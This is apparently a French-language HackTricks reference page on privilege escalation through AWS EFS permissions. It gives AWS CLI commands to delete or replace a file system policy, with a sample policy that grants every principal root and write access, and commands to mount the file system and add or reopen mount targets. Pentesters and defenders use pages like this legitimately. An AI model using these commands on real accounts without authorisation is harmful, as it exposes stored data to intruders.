AWS - EFS Privesc

Support HackTricks

EFS

Plus d'info sur EFS dans :

AWS - EFS Enum

N'oubliez pas que pour monter un EFS, vous devez être dans un sous-réseau où l'EFS est exposé et y avoir accès (groupes de sécurité). Si cela se produit, par défaut, vous pourrez toujours le monter, cependant, s'il est protégé par des politiques IAM, vous devez avoir les autorisations supplémentaires mentionnées ici pour y accéder.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Avec l'une de ces autorisations, un attaquant peut changer la politique du système de fichiers pour vous donner accès à celui-ci, ou simplement le supprimer afin que l'accès par défaut soit accordé.

Pour supprimer la politique :

aws efs delete-file-system-policy \
--file-system-id <value>

Pour le changer :

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Avec cette autorisation, un attaquant pourra monter l'EFS. Si l'autorisation d'écriture n'est pas accordée par défaut à tous ceux qui peuvent monter l'EFS, il n'aura que l'accès en lecture.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Les autorisations supplémentaires elasticfilesystem:ClientRootAccess et elasticfilesystem:ClientWrite peuvent être utilisées pour écrire à l'intérieur du système de fichiers après qu'il ait été monté et pour accéder à ce système de fichiers en tant que root.

Impact potentiel : Privesc indirect en localisant des informations sensibles dans le système de fichiers.

elasticfilesystem:CreateMountTarget

Si un attaquant se trouve dans un sous-réseauaucun point de montage de l'EFS n'existe. Il pourrait simplement en créer un dans son sous-réseau avec ce privilège :

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Impact potentiel : Privesc indirect en localisant des informations sensibles dans le système de fichiers.

elasticfilesystem:ModifyMountTargetSecurityGroups

Dans un scénario où un attaquant découvre que l'EFS a un point de montage dans son sous-réseau mais aucun groupe de sécurité n'autorise le trafic, il pourrait simplement changer cela en modifiant les groupes de sécurité sélectionnés :

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Impact potentiel : Privesc indirect en localisant des informations sensibles dans le système de fichiers.

Soutenir HackTricks

Last updated